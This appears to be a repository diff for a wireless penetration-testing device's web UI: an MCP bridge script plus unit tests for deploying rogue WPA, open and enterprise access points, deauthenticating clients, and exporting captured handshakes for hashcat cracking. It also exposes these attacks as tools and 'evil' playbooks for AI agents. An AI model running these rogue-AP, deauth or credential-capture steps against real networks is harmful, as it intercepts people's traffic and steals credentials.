MCP_URL=http://172.16.52.1:8080/mcp \
MCP_TOKEN=<device session token> \
python3 scripts/harness_stdio.py
JSON-RPC messages are read line-by-line from stdin (one JSON object per
line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP
MCP endpoint. Responses are printed back on stdout as single-line JSON.
Get a token from the Mark VIII Harness page, or fetch one:
curl -s -X POST http://172.16.52.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"root","password":"<device password>"}' \
-c cookies.txt
"""
import json
import os
import sys
import urllib.request
URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp')
TOKEN = os.environ.get('MCP_TOKEN', '')
def forward(msg):
data = json.dumps(msg).encode()
req = urllib.request.Request(URL, data=data, method='POST')
req.add_header('Content-Type', 'application/json')
req.add_header('Accept', 'application/json, text/event-stream')
if TOKEN:
req.add_header('Authorization', 'Bearer ' + TOKEN)
try:
with urllib.request.urlopen(req, timeout=120) as resp:
return resp.read().decode()
except urllib.error.HTTPError as exc:
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
'error': {'code': exc.code, 'message': exc.read().decode()[:300]}})
except Exception as exc: # noqa: BLE001
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
'error': {'code': -32000, 'message': str(exc)}})
def main():
if not TOKEN:
print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr)
for line in sys.stdin:
line = line.strip()
if not line:
continue
try:
msg = json.loads(line)
except ValueError:
print(json.dumps({'jsonrpc': '2.0', 'id': None,
'error': {'code': -32700, 'message': 'parse error'}}))
continue
print(forward(msg), flush=True)
if __name__ == '__main__':
main()
+326
View File
@@ -0,0 +1,326 @@
import os
import shutil
import sqlite3
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, query=None):
return type('C', (), {'body': body, 'args': (), 'query': query or {}})()
class FakeUciDevice:
"""In-memory uci + device_run fake: 'uci set wireless.X=Y' state."""
def __init__(self):
self.state = {}
self.runs = []
self.sock = []
self._verify = True
def device_run(self, args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.state[k] = v
elif a[:2] == ['uci', 'get']:
return (0, self.state.get(a[2], '') + '\n', '')
elif a[:2] == ['uci', 'delete']:
for k in list(self.state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.state[k]
elif a[:2] == ['uci', 'commit']:
pass
elif a[0] == 'uci' and a[1] == 'show':
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
if k == sec or k.startswith(sec + '.')), '')
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
return (0, 'state=ENABLED\nssid[0]=test\n', '')
return (0, '', '')
def uci_iface(self, name):
cfg = {}
prefix = 'wireless.%s.' % name
for k, v in self.state.items():
if k.startswith(prefix):
cfg[k[len(prefix):]] = v
if not cfg:
return {}
return cfg
def daemon_sock_call(self, method, path, body=None, timeout=10):
self.sock.append((method, path, body))
if path == '/api/pineap/hostapd/get_config':
return 200, {'pineape_disabled': False, 'pineape_auth_pass': True}
if path == '/api/pineap/get_config':
return 200, {'autossidpool': True}
return 200, {'success': True}
class AttacksDeployTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
server._uci_section = self.f.uci_iface
server._verify_iface = lambda name, timeout=20: self.f._verify
server._allow_all_ssids = lambda: True
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
self.old_state = server.PINEAP_STATE_FILE
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
self.old_ent = {k: getattr(server, k) for k in
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
self.old_ent_running = server._ent_running
self.old_ent_state = server._ent_state_loaded
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
def tearDown(self):
server.PINEAP_STATE_FILE = self.old_state
server._ent_running = self.old_ent_running
server._ent_state_loaded = self.old_ent_state
for k, v in self.old_ent.items():
setattr(server, k, v)
shutil.rmtree(self.tmp)
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertTrue(payload['ok'])
self.assertTrue(payload['verified'])
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa')
self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet')
self.assertEqual(cfg['configs'][0]['key'], 'secretpass1')
self.assertEqual(cfg['configs'][0]['enctype'], 'psk2')
engines = [s for s in self.f.sock
if s[1] in ('/api/pineap/hostapd/enable_pineap',
'/api/pineap/mimic/enable')]
self.assertEqual(len(engines), 2)
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_wpa_5g_writes_radio1(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp')
self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2')
self.assertEqual(self.f.state['wireless.radio1.channel'], '36')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
self.assertEqual(payload['iface'], 'wlan1wpa')
self.assertEqual(payload['band'], server.BAND_5G)
def test_deploy_wpa_auto_channel_defaults_to_1_without_recon(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'UnknownNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False}))
self.assertEqual(status, 200)
self.assertTrue(payload['auto'])
self.assertEqual(payload['channel'], 1)
self.assertEqual(payload['band'], server.BAND_2G)
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['channel'], 1)
def test_deploy_wpa_auto_channel_uses_recon_target_channel(self):
db = self._make_recon_db()
old = server.RECON_DB
server.RECON_DB = db
try:
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Anderson-5', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False}))
finally:
server.RECON_DB = old
os.unlink(db)
self.assertEqual(status, 200)
self.assertEqual(payload['channel'], 149)
self.assertEqual(payload['band'], server.BAND_5G)
self.assertEqual(self.f.state['wireless.radio1.channel'], '149')
def _make_recon_db(self):
fd, db = tempfile.mkstemp(suffix='.db')
os.close(fd)
conn = sqlite3.connect(db)
conn.executescript(
'CREATE TABLE scan(id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT,'
' time INT, name TEXT);'
'CREATE TABLE wifi_device(hash INT PRIMARY KEY, scan INT, mac TEXT,'
' time INT, signal INT, freq INT, packets INT);'
'CREATE TABLE ssid(hash INT PRIMARY KEY, wifi_device INT, scan INT,'
' type INT, bssid TEXT, ssid BLOB, hidden INT, time INT, signal INT,'
' freq INT, channel INT, encryption INT);')
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u1', 1, 'pager')")
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden,"
" time, signal, freq, channel, encryption) VALUES"
" (10, 1, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0,"
" 1786466532, -76, 5745, 149, 0x400400108)")
conn.commit()
conn.close()
return db
def test_deploy_open_2g4_includes_bssid_and_country(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'open', 'ssid': 'Guest', 'hidden': False,
'channel': 1, 'country': 'US',
'bssid': 'DE:AD:BE:EF:00:01'}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan0open')
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan1ent')
self.assertEqual(payload['band'], server.BAND_5G)
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
'type', 'managed'], cmds)
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
server.ENT_CONF], cmds)
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
def test_deploy_enterprise_rejects_non_5g_channel(self):
status, _ = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
'channel': 6}))
self.assertEqual(status, 400)
def test_stop_enterprise_tears_down_engine(self):
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
self.assertEqual(status, 200)
self.assertIn('wlan1ent', payload['stopped'])
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_validation(self):
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short',
'enctype': 'psk2', 'channel': 1}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'channel': 200}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'}))
self.assertEqual(status, 400)
def test_stop_wpa_disables_both_bands(self):
self.f.state['wireless.wlan0wpa.disabled'] = '0'
self.f.state['wireless.wlan1wpa.disabled'] = '0'
self.f.state['pineapd.wlan1mon.hop'] = '0'
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
self.assertEqual(status, 200)
self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1')
self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1')
self.assertIn('wlan0wpa', payload['stopped'])
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1')
class AttacksDeauthTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
def test_deauth_2g4_uses_wlan0mon_inject(self):
status, payload = server.h_attacks_deauth(ctx({
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6}))
self.assertEqual(status, 200)
self.assertEqual(payload['inject'], 'wlan0mon')
calls = [r[0] for r in self.f.runs]
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'11:22:33:44:55:66', '6'], calls)
def test_deauth_5g_keeps_wlan1mon_inject(self):
status, payload = server.h_attacks_deauth(ctx({
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['inject'], 'wlan1mon')
def test_deauth_bad_macs_rejected(self):
status, _ = server.h_attacks_deauth(ctx({
'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6}))
self.assertEqual(status, 400)
class AttacksExportTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
def fake_run(args, timeout=20, input_data=None):
self.f.runs.append((list(args), input_data))
a = list(args)
if a[0] == 'ls':
return (0, 'a.pcap\nb.cap\n', '')
if a[0] == 'hcxpcapngtool':
return (0, '', '')
return (0, '', '')
server.device_run = fake_run
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
self._real_exists = os.path.exists
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
server.os.path.getsize = lambda p: 12
def tearDown(self):
server.os.path.exists = self._real_exists
try:
os.unlink('/tmp/mk8test.hc22000')
except OSError:
pass
def test_export_converts_captures(self):
status, payload = server.h_attacks_export_hc22000(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['size'], 12)
self.assertIn('hashcat -m 22000', payload['hashcat'])
hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0]
self.assertEqual(hc[1], '-o')
self.assertTrue(hc[2].startswith('/root/loot/hc22000/'))
self.assertTrue(hc[2].endswith('.hc22000'))
self.assertIn('/root/loot/handshakes/a.pcap', hc)
self.assertIn('/root/loot/pcap/b.cap', hc)
if __name__ == '__main__':
unittest.main()
+140
View File
@@ -0,0 +1,140 @@
import os
import sys
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
class HealthCheckTest(unittest.TestCase):
def setUp(self):
self.runs = []
self.ping_ok = True
self.sigsegvs = 0
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
self.uci_state = {}
server._health.update({
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
self.old_iface_up = server._iface_up
server._iface_up = lambda name: self.iface_up.get(name, True)
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), timeout))
a = list(args)
if a[0] == 'pidof' and a[1] == 'pineapd':
if self.ping_ok:
return (0, '12345\n', '')
return (1, '', '')
if a[0] == 'logread':
return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci_state[k] = v
if a[:2] == ['uci', 'delete']:
for k in list(self.uci_state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.uci_state[k]
if a[:2] == ['uci', 'get']:
return (0, self.uci_state.get(a[2], '') + '\n', '')
if a[0] == 'uci' and a[1] == 'show':
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
if k == sec or k.startswith(sec + '.')), '')
return (0, '', '')
server.device_run = fake_run
def tearDown(self):
server._iface_up = self.old_iface_up
def test_pineap_up_reports_no_action(self):
result = server.health_check()
self.assertTrue(result['pineap_up'])
self.assertIsNone(result['last_action'])
self.assertEqual([r[0] for r in self.runs], [['pidof', 'pineapd']],
'health check must not write to the pineapd socket')
def test_pineap_up_repairs_dropped_monitors(self):
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
result = server.health_check()
self.assertTrue(result['pineap_up'])
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
self.assertEqual(result['monitor_fixes'], 1)
def test_down_with_growing_sigsegv_disables_pool(self):
self.ping_ok = False
self.sigsegs = 5
result = server.health_check()
self.assertIn('pool broadcast disabled', result['last_action'])
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
self.assertEqual(result['fixes'], 1)
def test_down_with_pool_already_disabled_restarts_pineapd(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.uci_state['pineapd.wlan2mon.disable'] = '1'
self.uci_state['pineapd.wlan2mon.hop'] = '0'
self.uci_state['pineapd.wlan1mon.bands'] = '5'
self.uci_state['pineapd.wlan0mon.bands'] = '2'
self.uci_state['pineapd.wlan1mon.hop'] = '0'
result = server.health_check()
self.assertEqual(result['last_action'], 'pineapd restart')
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
def test_down_stabilizes_known_crash_sources(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
result = server.health_check()
self.assertEqual(self.uci_state['pineapd.wlan2mon.disable'], '1')
self.assertEqual(self.uci_state['pineapd.wlan1mon.bands'], '5')
self.assertIn('stabilized', result['last_action'])
def test_down_clears_refilled_pool_list(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
result = server.health_check()
self.assertNotIn('pineapd.@ssidpool[0].ssid', self.uci_state)
self.assertIn('pool-list cleared', result['last_action'])
def test_down_without_crash_brings_monitors_up(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.iface_up = {'wlan0mon': True, 'wlan1mon': False}
result = server.health_check()
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
def test_down_disables_pool_regardless_of_sigsegv_history(self):
self.ping_ok = False
server._health['sigsegv_last'] = 4
result = server.health_check()
self.assertIn('SSID pool broadcast disabled', result['last_action'])
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
def test_fix_cooldown_prevents_thrash(self):
self.ping_ok = False
server._health['last_fix'] = server.time.time() - 30
server.health_check()
server.health_check()
fixes = [r for r in self.runs if r[0][0] == '/etc/init.d/pineapd']
self.assertEqual(len(fixes), 1, 'cooldown must allow only one restart')
def test_health_endpoint_shape(self):
server._health['sigsegv_last'] = 7
status, payload = server.h_health(type('C', (), {'query': {}})())
self.assertEqual(status, 200)
self.assertEqual(payload['sigsegv_count'], 7)
self.assertIn('wlan1mon_up', payload)
self.assertIn('pool_disabled', payload)
if __name__ == '__main__':
unittest.main()
+123
View File
@@ -0,0 +1,123 @@
import os
import shutil
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, headers=None):
H = type('H', (), {'headers': headers or {}})()
return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})()
class McpDispatchTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='pager-mcp-')
self.old_session = server.SESSION_FILE
self.old_device_run = server.device_run
self.old_daemon_sock_call = server.daemon_sock_call
server.SESSION_FILE = os.path.join(self.tmp, 'session.json')
with open(server.SESSION_FILE, 'w') as f:
import json
json.dump({'token': 't0k3n', 'serverid': 'x'}, f)
server.device_run = lambda args, timeout=20, input_data=None: (0, '', '')
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {
'pineap_disabled': False, 'pineape_disabled': True,
'autossidpool': True})
def tearDown(self):
server.SESSION_FILE = self.old_session
server.device_run = self.old_device_run
server.daemon_sock_call = self.old_daemon_sock_call
shutil.rmtree(self.tmp)
def msg(self, method, params=None, mid=1, jsonrpc='2.0'):
m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method}
if params is not None:
m['params'] = params
return m
def test_initialize_negotiates_protocol(self):
status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'}))
self.assertEqual(status, 200)
self.assertEqual(body['result']['protocolVersion'], '2025-06-18')
self.assertIn('tools', body['result']['capabilities'])
self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii')
def test_tools_list_has_attack_and_recon_tools(self):
status, body = server._mcp_dispatch(self.msg('tools/list'))
names = [t['name'] for t in body['result']['tools']]
self.assertIn('attack.deploy', names)
self.assertIn('device.state', names)
self.assertIn('recon.isearch', names)
self.assertIn('loot.enterprise_creds', names)
def test_tools_call_unknown_tool_errors(self):
status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}}))
self.assertEqual(body['error']['code'], -32602)
def test_ping(self):
status, body = server._mcp_dispatch(self.msg('ping'))
self.assertEqual(body['result'], {})
def test_notifications_initialized_returns_202(self):
status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'})
self.assertEqual(status, 202)
self.assertIsNone(body)
def test_resources_list_includes_skills(self):
status, body = server._mcp_dispatch(self.msg('resources/list'))
uris = [r['uri'] for r in body['result']['resources']]
self.assertIn('skills://pineapple-control', uris)
self.assertIn('device://state', uris)
def test_prompts_list_includes_playbooks(self):
status, body = server._mcp_dispatch(self.msg('prompts/list'))
names = [p['name'] for p in body['result']['prompts']]
self.assertIn('evil-wpa-attack', names)
self.assertIn('evil-enterprise-attack', names)
def test_bad_jsonrpc_rejected(self):
status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'})
self.assertEqual(body['error']['code'], -32600)
def test_endpoint_auth_accepts_bearer_token(self):
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'}))
self.assertEqual(status, 200)
self.assertEqual(body['result'], {})
def test_endpoint_auth_rejects_bad_token(self):
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'}))
self.assertEqual(status, 401)
def test_deploy_tool_wraps_attack_handler(self):
server._uci_wifi_iface = lambda name: {}
server._uci_section = lambda name: {}
server._verify_iface = lambda name, timeout=20: True
server._allow_all_ssids = lambda: True
server._deploy_enterprise = lambda args: {'ok': True, 'verified': True,
'iface': 'wlan1ent', 'band': '5'}
status, body = server._mcp_dispatch(self.msg('tools/call', {
'name': 'attack.deploy',
'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}}))
self.assertEqual(status, 200)
text = body['result']['content'][0]['text']
self.assertIn('"verified": true', text)
def test_capabilities_endpoint(self):
status, body = server.h_harness_capabilities(ctx())
self.assertEqual(status, 200)
self.assertEqual(body['endpoint'], '/mcp')
self.assertIn('attack.deploy', [t['name'] for t in body['tools']])
self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']])
if __name__ == '__main__':
unittest.main()
+267
View File
@@ -41,6 +41,26 @@ class PayloadsProxyTest(unittest.TestCase):
server.h_payloads_remove(type('C', (), {'args': (), 'body': {'key': 'nautilus'}})()) server.h_payloads_remove(type('C', (), {'args': (), 'body': {'key': 'nautilus'}})())
self.assertTrue(any(m == 'POST' and '/api/payloads/portal/nautilus/remove' in p for m, p in calls)) self.assertTrue(any(m == 'POST' and '/api/payloads/portal/nautilus/remove' in p for m, p in calls))
def test_install_surfaces_daemon_error_detail(self):
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
500, {'error': 'network error: Get "https://downloads.hak5.org/.../download": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving'})
server.current_token = lambda: 'tok'
status, payload = server.h_payloads_install(type('C', (), {
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
self.assertEqual(status, 500)
self.assertIn('downloads.hak5.org', payload['detail'])
def test_install_unwraps_raw_json_daemon_error(self):
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
500, '{"error":"network error: Get \\"https://downloads.hak5.org/...\\": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving"}\n')
server.current_token = lambda: 'tok'
status, payload = server.h_payloads_install(type('C', (), {
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
self.assertEqual(status, 500)
self.assertIn('network error', payload['detail'])
self.assertIn('downloads.hak5.org', payload['detail'])
self.assertNotIn('{', payload['detail'])
def test_installed_inventory_flattens_firmware_records(self): def test_installed_inventory_flattens_firmware_records(self):
old = server._payload_daemon old = server._payload_daemon
server._payload_daemon = lambda method, path, body=None: (200, [{ server._payload_daemon = lambda method, path, body=None: (200, [{
@@ -275,5 +295,252 @@ class SettingsTest(unittest.TestCase):
self.assertNotIn('password', payload) self.assertNotIn('password', payload)
class WifiClientModeTest(unittest.TestCase):
@staticmethod
def fake_device_run(calls, responses):
def run(args, timeout=20, input_data=None):
calls.append((list(args), timeout))
key = (args[0], args[1])
return responses.get(key, (0, '', ''))
return run
def test_client_state_parses_disabled(self):
calls = []
run = self.fake_device_run(calls, {
('uci', 'show'): (0,
"wireless.wlan0cli=wifi-iface\n"
"wireless.wlan0cli.ssid='OldNet'\n"
"wireless.wlan0cli.disabled='1'\n"
"wireless.wlan0cli.routed='0'\n", ''),
('iw', 'dev'): (0, '', ''),
('ip', '-4'): (0, '', ''),
})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client(type('C', (), {})())
finally:
server.device_run = old
self.assertEqual(status, 200)
self.assertFalse(payload['enabled'])
self.assertFalse(payload['connected'])
self.assertEqual(payload['ssid'], 'OldNet')
self.assertFalse(payload['routed'])
self.assertEqual(payload['ip'], '')
def test_client_state_parses_connected(self):
calls = []
run = self.fake_device_run(calls, {
('uci', 'show'): (0,
"wireless.wlan0cli=wifi-iface\n"
"wireless.wlan0cli.ssid='All RPH Guest WIFI'\n"
"wireless.wlan0cli.disabled='0'\n"
"wireless.wlan0cli.routed='0'\n", ''),
('iw', 'dev'): (0,
"Connected to 02:18:4a:a7:6a:d9 (on wlan0cli)\n"
"\tSSID: All RPH Guest WIFI\n"
"\tfreq: 2462\n"
"\tsignal: -57 dBm\n", ''),
('ip', '-4'): (0,
"6: wlan0cli: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500\n"
" inet 10.10.10.5/24 brd 10.10.10.255 scope global wlan0cli\n", ''),
})
old = server.device_run
server.device_run = run
try:
status, payload = server.h_settings_wifi_client(type('C', (), {})())
finally:
server.device_run = old
self.assertEqual(status, 200)
self.assertTrue(payload['enabled'])
self.assertTrue(payload['connected'])
self.assertEqual(payload['connected_ssid'], 'All RPH Guest WIFI')
self.assertEqual(payload['ip'], '10.10.10.5')
self.assertEqual(payload['signal'], -57)
self.assertEqual(payload['freq'], 2462)
def test_scan_parses_networks_and_deduplicates(self):
sample = (
"BSS 02:18:4a:a7:6a:d2(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -63.00 dBm\n"
"\tSSID: Riverwalk Plaza Staff\n"
"\tRSN:\t * Version: 1\n"
"\t\t * Group cipher: TKIP\n"
"\t\t * Pairwise ciphers: CCMP TKIP\n"
"\t\t * Authentication suites: PSK\n"
"BSS 02:18:4a:a7:6a:d9(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -61.00 dBm\n"
"\tSSID: All RPH Guest WIFI\n"
"\tRSN:\t * Version: 1\n"
"\t\t * Group cipher: CCMP\n"
"\t\t * Pairwise ciphers: CCMP\n"
"\t\t * Authentication suites: SAE\n"
"BSS ea:cb:bc:8e:c5:0e(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -50.00 dBm\n"
"\tSSID: OpenGuest\n"
"BSS c6:cb:bc:8e:c5:0e(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -55.00 dBm\n"
"\tSSID: \\x00\\x00\\x00\\x00\n"
"BSS 42:18:4a:a7:6a:d2(on wlan0)\n"
"\tfreq: 2462.0\n"
"\tsignal: -65.00 dBm\n"
"\tSSID: Riverwalk Plaza Staff\n"
"\tWPA:\t * Version: 1\n"
"\t\t * Group cipher: TKIP\n"
"\t\t * Authentication suites: PSK\n")
networks = server._parse_wifi_scan(sample)
by_ssid = {n['ssid']: n for n in networks}
self.assertIn('Riverwalk Plaza Staff', by_ssid)
self.assertIn('All RPH Guest WIFI', by_ssid)
self.assertIn('OpenGuest', by_ssid)
self.assertEqual(by_ssid['Riverwalk Plaza Staff']['encryption'], 'WPA2')
self.assertEqual(by_ssid['All RPH Guest WIFI']['encryption'], 'WPA3')
self.assertEqual(by_ssid['OpenGuest']['encryption'], 'Open')
self.assertEqual(by_ssid['OpenGuest']['channel'], 11)
# hidden SSID entries are omitted
self.assertNotIn('', by_ssid)
# strongest BSS per SSID wins and results are signal-sorted (strongest first)
self.assertEqual(networks[0]['ssid'], 'OpenGuest')
self.assertEqual(networks[0]['signal'], -50)
self.assertGreater(networks[0]['signal'], networks[1]['signal'])
def test_scan_reports_device_failure(self):
old = server.device_run
server.device_run = lambda args, timeout=20: (1, '', 'scan not supported')
try:
status, payload = server.h_settings_wifi_client_scan(type('C', (), {})())
finally:
server.device_run = old
self.assertEqual(status, 502)
self.assertIn('scan', payload['error'])
def test_connect_requires_ssid(self):
class H:
command = 'POST'
old = server.device_run
server.device_run = lambda args, timeout=20: (0, '', '')
try:
status, payload = server.h_settings_wifi_client_connect(
type('C', (), {'h': H(), 'body': {'encryption': 'open'}})())
finally:
server.device_run = old
self.assertEqual(status, 400)
self.assertIn('SSID', payload['error'])
